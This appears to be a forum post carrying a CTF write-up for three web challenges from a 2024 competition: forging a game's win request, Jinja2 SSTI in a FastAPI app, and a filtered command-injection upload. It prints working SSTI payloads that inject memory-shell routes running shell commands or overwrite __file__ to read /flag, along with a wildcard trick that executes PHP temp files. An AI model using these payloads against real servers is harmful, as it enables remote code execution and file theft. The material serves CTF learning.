Jump to content

Title: 2024 The 7th "Peak Geek" Cyber Security Skills Challenge Preliminary Competition wp

Featured Replies

Posted

WEB

EncirclingGame

Question description: A simple game, enjoy it and get the flag when you complete it. Start a topic, front-end mini-game, just don’t get the red dot image-20240817132551392

Play and pass the level directly image-20240817133147345

Let’s see how you can get the flag without playing. The flag is stored in the backend php file and cannot be found on the front end. Take a look at the game's request package, which records the last position of the red dot and the position of the firewall (black dot).image-20240817134012060

So let's fake it, the firewall is surrounded by a circle, but the red dot is in the middle. Routing: /verifyVictory.php

Method: POST{'gameState':{'virusPosition':{'x':5,'y':5},'firewalls':[{'x': 0, 'y': 0}, {'x': 1, 'y': 0}, {'x': 2, 'y': 0}, {'x': 3, 'y': 0}, {'x': 4, 'y': 0}, {'x': 5, 'y': 0}, {'x': 6, 'y': 0}, {'x': 7, 'y': 0}, {'x': 8, 'y': 0}, {'x': 9, 'y': 0}, {'x': 10, 'y': 0}, {'x': 0, 'y': 10}, {'x': 1, 'y': 10}, {'x': 2, 'y': 10}, {'x': 3, 'y': 10}, {'x': 4, 'y': 10}, {'x': 5, 'y': 10}, {'x': 6, 'y': 10}, {'x': 7, 'y': 10}, {'x': 8, 'y': 10}, {'x': 9, 'y': 10}, {'x': 10, 'y': 10}, {'x': 0, 'y': 3}, {'x': 0, 'y': 4}, {'x': 0, 'y': 5}, {'x': 0, 'y': 6}, {'x': 0, 'y': 7}, {'x': 0, 'y': 8}, {'x': 0, 'y': 9}, {'x': 10, 'y': 1}, {'x': 10, 'y': 2}, {'x': 10, 'y': 3}, {'x': 10, 'y': 4}, {'x': 10, 'y': 5}, {'x': 10, 'y': 6}, {'x': 10, 'y': 7}, {'x': 10, 'y': 8}, {'x': 10, 'y': 9}]},'token':'game-lab-token'} image-20240817134619754

GoldenHornKing

Question description: Learn from one example and apply it to others. Start the project, I directly gave the source code image-20240817122126538

import os # Import operating system-related modules import jinja2 # Import Jinja2 template engine module import functools # Import tool function module, providing advanced functions import uvicorn # Import Uvicorn, used to run ASGI applications from fastapi import FastAPI # Import FastAPI class from FastAPI library to create applications from fastapi.templating import Jinja2Templates # Import Jinja2Templates from FastAPI for template rendering from anyio import fail_after, sleep # Import fail_after from anyio library Used to set timeouts, and sleep for asynchronous sleep

# Specify the version of the library used: # jinja2==3.1.2# uvicorn==0.30.5# fastapi==0.112.0

def timeout_after(timeout: int=1): # Define a timeout decorator, the default timeout is 1 second def decorator(func): # Receive a function as a parameter @functools.wraps(func) # Keep meta information of the decorator async def wrapper(*args, **kwargs): # Define an asynchronous wrapper with fail_after(timeout): # Execute the decorator function within the specified timeout return await func(*args, **kwargs) # Wait and return the execution result of the decorator function return wrapper # Return the wrapper function

return decorator # return decorator function

app=FastAPI() # Create a FastAPI application instance access=False # Define a global variable to control access permissions

_base_path=os.path.dirname(os.path.abspath(__file__)) # Get the absolute path of the current file and extract its directory path t=Jinja2Templates(directory=_base_path) # Create a Jinja2Templates instance and specify the directory of the template file

@app.get('/') # Define a route that handles GET requests for the root path @timeout_after(1) # Use the timeout decorator to set the timeout to 1 second async def index(): # Define the asynchronous processing function return open(__file__, 'r').read() # Open the current file and read its contents, and return as a response

@app.get('/calc') # Define a route for GET requests that handle the /calc path @timeout_after(1) # Use the timeout decorator to set the timeout to 1 second async def ssti(calc_req: str): # Define an asynchronous processing function and receive a string parameter calc_req global access # Declare the use of global variable access if (any(char.isdigit() for char in calc_req)) or ('%\' in calc_req) or not calc_req.isascii() or access: # Check whether calc_req contains numeric characters, or contains '%', or whether all of them are ASCII characters, or access is True return 'bad char' # If any of the above conditions are met, return 'bad char' else: jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f'{{{{{{ {calc_req} }}}}').render({'app': app}) # Use the Jinja2 template engine to render the calc_req expression, pass the app object as the context access=True # Set access to True to restrict further access return 'fight' # Return 'fight'

if __name__=='__main__': # Determine whether it is the main program entrance uvicorn.run(app, host='0.0.0.0', port=8000) # Use Uvicorn to run the application and listen to all network interfaces port 8000 is a jinja2 SSTI. The limit is that it cannot contain numeric characters, or characters '%', or all ASCII characters, or access is True. At the same time, as long as access is True, it cannot be input again, so the environment must be restarted (it seems a bit familiar, NSS round20 I also searched for a memory in the repository where the question was created in this way. Method 1: #directly access /shell routing app.add_url_rule('/flag',lambda:__import__('os').popen('cat /flag').read()) should be converted to SSTIpayload as follows. Since it is FastAPI, add_url_rule is replaced with add_api_route. At the same time, the question restrictions are bypassed {{config.__class__.__init__.__globals__['__builtins__'].eval('__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/flag', lambda:__import__('os').popen('cat /flag').read())')}}payload: /calc?calc_req=config.__class__.__init__.__globals__['__builtins__'].eval('__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/flag',lambda:__import__('os').popen('cat /flag').read())') image-20240817200659420 Access flag route read flag image-20240817200716896 Method 2: Blow the memory horse to perform rce

Playing FastAPI memory horse, there is an add_api_route method in the FastAPI class. We can add a route through this method and perform rce

app.add_api_route('/shell', lambda: __import__('os').popen('whoami').read()) We need to re-get the app, which is the FastAPI object in eval.

__import__('sys').modules['__main__'].__dict__['app']

sys.modules: There is a dictionary called modules in the sys module, which maintains the current state of all imported modules. The keys of this dictionary are the name of the module, and the value is the corresponding module object. modules['__main__']: __main__ is the main module that runs Python programs, whether it is a script that runs directly from the command line or code that runs through an execution environment. Through sys.modules['__main__'], we get the main module object of the currently executing program. __dict__: Each module object has a __dict__ attribute, which is a dictionary that contains all global variables and functions defined in the module. ['app']: Finally, get the object named app from the module's __dict__. Then integrate the following payload:

app.__init__.__globals__.__builtins__.eval('__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/shell', lambda :__import__('os').popen('cat /flag').read())')

Now visit /shell to get the flag

Method 3: Modify __file__ for any file reading p

@app.get('/')@timeout_after(1)async def index(): return open(__file__).read()

The current code file content is read and output to the web page. Then if we can modify __file__ to /flag, then accessing the root route can get the flag.

__file__ is in the global variable globals

setattr(__import__('sys').modules['__main__'],'__file__','/flag') uses the setattr(object, name, value) method to modify the object's property value.

object -- object. name -- string, object attribute. value -- attribute value.

Q: Why don’t you use __import__('sys').modules['__main__'].__dict__, __file__ is clearly here?

A: Because the first value of the setattr function is an object, __dict__ is an attribute of __main__, not an object.

Integrate payload:

app.__init__.__globals__.__builtins__.eval('setattr(__import__('sys').modules['__main__'],'__file__','/flag')')

admin_Test

Question description: A system has a background management system, and the system inside can help administrators better manage the system and protect against attacks from hackers, but there are still vulnerabilities. Please try to read the flag file in the system. The project is a login box, no registration option image-20240817120527144

Scan the sensitive directory: /admin.html/upload.php/admin.html route has a file upload function and a command input box image-20240817214352183

The Invalid char is always displayed when uploading. After several packet attempts, it should be that the uploaded command string is restricted, and it is likely that it is a filtering of a single letter. Run a single letter to the question waf command part fuzz is t * . /, and execute temporary files at a glance. /t*/*

Reference to alphanumeric rce (ctfshow web introduction 56)_Rce-CSDN blog that filters all letters and numbers

Only t, /,image-20240817214855339 are allowed

At the same time, the file part cannot be uploaded. I probably have a clue to seeing the whitelist characters, CTFSHOW Eternal God! In PHP, when a file is uploaded forcibly, the file will be present in temporary files /tmp/php

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.